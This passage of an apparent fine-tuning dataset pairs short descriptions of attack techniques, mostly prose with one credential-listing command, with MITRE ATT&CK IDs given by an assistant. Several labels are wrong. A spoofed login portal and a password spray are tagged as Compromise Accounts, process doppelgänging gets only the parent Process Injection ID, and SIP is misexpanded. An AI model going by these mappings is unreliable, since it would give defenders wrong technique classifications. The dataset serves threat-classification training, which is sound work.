                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script monitors user input and extracts the time-based one-time password (TOTP) generated by an authenticator app."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat executes a payload that deliberately leaks file descriptors, depleting OS resources and causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs a compromised credential abuse by reusing stolen domain credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program removes entries from the system's network connection logs and resets network adapter settings to obfuscate its presence."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a signed Office add‑in to bypass detection and run commands on system boot."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor drops a fake DLL in the application's PATH environment variable location, causing the program to load the malicious version first."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a custom registry key to automatically start the payload each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident involved inserting a malicious Excel add-in that registers itself in the HKLM registry hive, ensuring persistence across all user accounts when Excel starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes Process Hollowing combined with thread execution hijacking, replacing the entry point of a suspended thread with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise technique involves granting Users full control over HKLM\\SYSTEM\\CurrentControlSet\\Services\\<service>, then planting a malicious binary to hijack service execution."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a certificate authority's signing server to issue rogue certificates for malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a custom payload that floods the alerting dashboard with false positive incidents."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the technique of process doppelgänging, creating a fake process image that executes malicious code while appearing legitimate."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls a target pretending to be from the IT department and asks for their login credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor’s implant generates domains by concatenating dictionary words with random numbers, cycling through the list until a connection to the attacker’s domain is successful."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes Python's subprocess module to launch PowerShell commands for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes the host's podman build command to package ransomware into a new container image."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes an encrypted channel using HTTPS to exfiltrate data, bypassing detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware appends large amounts of junk bytes to its executable to inflate the file size and evade signature‑based detection, a classic example of Binary Padding."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor triggers a build process on the victim's machine that assembles a container with hidden exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a Python script to parse the registry and extract data from Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool invokes the 'wipe' command to securely delete all files and directories on the disk."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group stole a Kubernetes cluster admin token and altered pod specifications to run their payload on new worker nodes."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious activity stores malicious PowerShell commands in the Windows Registry’s Run key and executes them in memory on system startup."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise updates the service's security descriptor to allow non-admin users to start the malicious service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs code injection via the CreateRemoteThread API targeting a system process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An internal proxy is set up to intercept and forward credential traffic, allowing credential theft without directly contacting external servers."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deployed a fake login portal that copied the appearance of a well‑known social media site to trick users into entering their credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a spoofed web portal that looked identical to the company's sign‑in page, recording credential entries from unsuspecting victims."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a rootkit to tamper with security software, disabling alerts and preventing forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the log aggregation service to generate bogus security alerts, concealing lateral movement activities."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a compromised VPN token to establish a persistent foothold within the target network."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code sets the safe mode boot flag, which disables kernel-mode security modules when the system restarts."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder transfers tools via SMB to a remote machine's C$ share and runs them."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downloads a signed .exe that calls InstallUtil to spawn a new process, effectively proxying execution through a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the wmic.exe utility to execute commands on remote machines without using traditional RDP or SMB channels."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs the SetWindowsHookEx function to drop a DLL into a target process for command execution."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses the built‑in camera to capture short video clips whenever the user is idle, then exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script queried the LibreOffice password manager to export stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the actor runs the cmd “cmdkey /list” to display saved credentials from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a custom Python script to call the AWS EC2 DescribeInstances API and list all instances."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion bundle includes an encoded VBScript payload that is launched through Windows Script Host to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups harvest email addresses from compromised web forms that lack proper validation, aggregating them for credential stuffing attacks."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set weak file permissions on a service's DLL, enabling them to inject malicious libraries that run during service startup."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker implants a script in the web portal’s HTML that captures and transmits usernames and passwords as users type them."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed a password spray attack against Azure AD accounts, gaining valid credentials for several cloud services."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject malicious code that changes the VPN client to use RC4 encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leaves a rogue USB cable that, when connected, exfiltrates system logs to a remote attacker via the cable's embedded chip."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload attempts to open a handle to the device \\Device\\Vmx86 and aborts execution if the handle is successful, indicating a virtualization environment."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware probes the victim's environment for trusted host connections, revealing which machines can access sensitive services."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers upload extracted documents to a compromised Azure Blob storage as a staging step."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces a shared library on a server with a malicious version, causing any client loading it to be infected."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a SYN flood attack, opening numerous half-open TCP connections to deplete the target's connection table."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploited a SaaS backup service to push copied database dumps to remote cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits the Windows Management Instrumentation (WMI) Event Subscription to persist and spread."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary obtains a Kerberos ticket from a logged‑in user’s session and leverages it to access services without providing a password."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers observed the development of a fileless malware that resides solely in memory using PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the system for mouse movement events to determine if it is running in an automated analysis environment."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers send a compressed archive containing encrypted source files that are decrypted and compiled on the target system."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation was applied by stripping all identifiable strings and resources from the malicious DLL to hide its origin."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a spoofed caller ID showing the CEO’s number, then asks the finance officer to authorize an urgent payment over the phone."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes a script named \"install.vbs\" that runs a series of commands to disable security tools and open a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable Java servlet, the threat actor injected malicious JavaScript that altered the corporate news feed page."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script iteratively sends large volumes of TCP ACK packets to a victim's IP address, overwhelming the network and causing service disruption."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code sends data to a remote web API endpoint using POST requests, exploiting a one‑directional communication channel to avoid inbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects code into the Software Integrity Protection (SIP) component, disabling integrity checks for system binaries."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder leverages LDAP queries to enumerate password policy attributes such as max password age."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom tool that uses SharePoint's CSOM (Client Side Object Model) to programmatically download sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops an SSH public key into the authorized_keys file for a newly created service account, allowing the threat actor to log in without a password."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor intercepts the PXE boot sequence and redirects the device to a rogue TFTP server with a payload."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a command to enumerate all visible Wi‑Fi networks and records their SSIDs and signal strengths."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages vDSO to load and execute a payload in the context of a high-privilege process, avoiding detection by standard injection monitoring."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deliver a crafted .otf file that triggers code execution via the Office Application Startup: Office Test technique."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XPC service calls are hijacked to relay commands from a low‑privilege process to a higher‑privilege service on macOS."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day exploit enables the extraction of encrypted credentials from the Windows Credential Locker without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted phishing email contains a URL that points to a malicious JavaScript loader, which then installs a remote access trojan on the host."
            },
            {
